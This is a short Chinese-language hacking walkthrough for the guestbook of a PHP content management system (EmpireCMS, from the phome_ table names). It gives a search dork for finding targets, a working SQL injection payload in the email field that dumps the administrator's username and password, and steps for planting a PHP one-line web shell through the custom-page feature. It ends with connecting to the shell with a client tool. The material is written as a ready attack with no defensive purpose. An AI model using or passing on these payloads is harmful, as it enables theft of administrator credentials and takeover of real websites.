GG关键字：inurl:e/tool/gbook/?bid=1
主要填写您的姓名和联系邮箱这两处，其它的随便填。
您的姓名:縗\
联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
然后进行提交返回页面即爆出用户名密码。
后台地址 e/admin/
接着拿shell，进入后台后点顶部模板管理。
然后左边的自定义页面-增加自定义页面，页面内容填写PHP一句话，<\?php eval($_POST[cmd]);?\>
完了，回到管理自定义页面，点击刚才起的页面名称。页面直接跳转到e/admin/template/x.php，提示会找不到页面，去掉template即可。真实地址是e/admin/x.php，如显示一片空白的话就成功了。
最后用lanker微型PHP+ASP双用版连接一句话即可。
提示:别死心眼啊，自定义页面内容可以改成ASP的。